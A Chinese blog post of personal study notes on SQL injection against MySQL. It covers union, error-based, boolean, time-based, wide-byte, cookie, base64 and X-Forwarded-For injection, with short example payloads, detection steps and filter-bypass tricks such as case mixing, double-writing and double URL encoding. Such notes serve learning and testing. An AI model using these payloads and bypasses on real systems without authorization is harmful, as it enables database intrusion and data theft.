SQL注入学习

幸运草 2020年3月30日20:13:12安全防范评论阅读模式

【SQL注入原理】

程序设计违背了“数据与代码分离”原则,导致1、参数内容用户可控;2、参数内容将带入数据库执行,最终造成SQL注入。


【SQL知识点】

MySQL:MySQL5.0版本之后,自带information_schema数据库,该数据库中存储了所有数据库名、表名、字段名等信息,对应三个表,schemata表(schema_name字段名)、tables表(table_name字段)、columns表(column_name字段)。


【SQL查询语句】

  • MySQL:
    • select用法:
      • 例:Select 字段名 from 库名.表名
      • 例:Select 字段名 from 库名.表名 where 某字段名='已知的值'
      • 例:Select 字段名 from 库名.表名 where 某字段名1='已知的值1' and 某字段名2='已知的值2'
      • limit用法:
        • limit 0,1:0表示从第一个结果开始,1表示返回一个结果。例:select 字段名 from 库名.表名 limit 0,1
      • database():查询当前使用的数据库名。
      • version():查询当前数据库版本。
      • user():查询当前连接MySQL的用户信息。
      • MySQL中注释有:# 或者 --空格 或者/**/,三种方式。
      • 内联注释:/*!code*/。

例:?Id=5 /*!union*/ /*!select*/ 1,2,3


【SQL注入漏洞类型】

1、字符型注入;

2、数字型注入。


【实现SQL注入的方式】

1) union注入:当页面会显示查询结果时,利用union select语句,将查询结果回显在页面上。

a. 例:union select 1,2,3 其中2和3是能够显示在页面上的,则union select 1,database(),3

2) 报错注入:当页面会显示SQL报错信息时,利用updatexml()将查询结果作为报错信息回显在页面上。

a. 例:updatexml(1,concat(0x7e,(select user()),0x7e),1),concat语句用于将查询结果与其他无关信息,通过~符号(即0x7e)分隔开来。

3) Boolean注入:当页面不会回显任何信息,通过区别查询结果为TRUE或FALSE时,页面结果的不同,来猜测信息。

a. 例:length(database())>1  判断数据库名长度。

b. 例:substr(database(),1,1)='a'判断数据库名第一个字母是否为‘a’,第一个数字1代表从第一个字母开始,第二个数字1代表返回1个字符。

c. 例:ord(substr(database(),1,1))=115 ,效果同上,只是通过order(),将字母转换为ASCII码进行判断。

4) 时间注入:同上,当页面不回显任何信息时,通过sleep()延迟页面返回的时间,通过时间长短来判断猜测是否正确。

a. 例:if(length(database())>1,sleep(3),1)  解释:若length()结果大于1,执行sleep(3),否则执行1。

b. 例:if(substr(database(),1,1)='a',sleep(3),1)

c. 例:if(ord(substr(database(),1,1))=115,sleep(3),1)

5) 盲注:即SQL语句执行结果无法显示在页面上,通过猜测的方式,获取查询结果。通常结合Boolean注入或时间注入的方式来猜测。

6) 宽字节注入:当单引号(')被转义符(反斜杠)转义,且数据库编码为GBK时,存在宽字节注入。

a. 例:?id=1'  ,宽字节的格式会在1后面加上 %df ,变成?id=1%df%5c'(反斜杠的编码为%5c),而%df%5c在GBK编码中为“連”字,导致单引号逃逸成功。

7) cookie注入:当cookie中具备某参数,且该参数可注入,则是cookie注入。

8) base64注入:客户端会对输入的参数进行base64编码,服务端收到参数后,再进行base64解码后,代入查询语句中执行。

a. 例:?id=1'   base64编码后 ?id=MSc%3d

9) XFF注入:当PHP使用getenv()函数获取环境变量值,且为对输入值过滤时,通过伪造HTTP请求的头部参数X-Forwarded-for或者Client-ip,可实现注入。

a. 例:x-forwarded-for:127.0.0.1' union select 1,2,3#

10) 还有其他未了解到的。


【SQL注入步骤】

1) 判断是否存在注入

a. 参数中加入单引号('),观察返回的页面是否与正常访问一样;

b. 参数中加入and 1=1和and 1=2,观察两个返回的页面是否一样。

c. 以上观察可通过burpsuite,查看返回数据包的内容、大小等是否一致。

2) 确定合适的注入方法

a. 根据以上列举的注入方式的适用场景,判断注入方法。

3) 构造注入语句

a. 根据“SQL知识点”及“SQL查询语句”构造合适的注入语句。


【绕过技巧】

1) 大小写绕过:如and→And,select→SeLeCT

2) 双写绕过:如and→aandnd,select→selselectect

3) 编码绕过:将被拦截的关键字进行两次URL编码,如and→%61%6e%64→%25%36%31%25%36%65%25%36%34

4) 内联注释绕过:如and→/*!and*/,select→/*!select*/

5) /**/代替空格:如1' and 1=1→1'/**/and/**/1=1 ,1' union select 1,2,3→1'/**/union/**/select/**/1,2,3

6) 还有其他未了解到的。

本文来源于:SQL注入学习-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 加入Q群
  • QQ扫一扫
  • weinxin
幸运草

发表评论